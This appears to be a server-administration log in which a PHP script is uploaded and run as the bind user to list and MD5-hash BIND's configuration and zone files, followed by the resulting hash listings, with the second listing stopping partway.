MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 18:20:02: Establishing a connection
2026-01-03 18:20:11: Establishing a connection
2026-01-03 18:20:12: 

PUT: /tmp/pkp594400

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:20:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp594400; rm /tmp/pkp594400'

2026-01-03 18:20:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 18:20:22: Establishing a connection
2026-01-03 18:20:22: 

PUT: /tmp/pkp376957

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:20:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp376957; rm /tmp/pkp376957'

2026-01-03 18:20:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
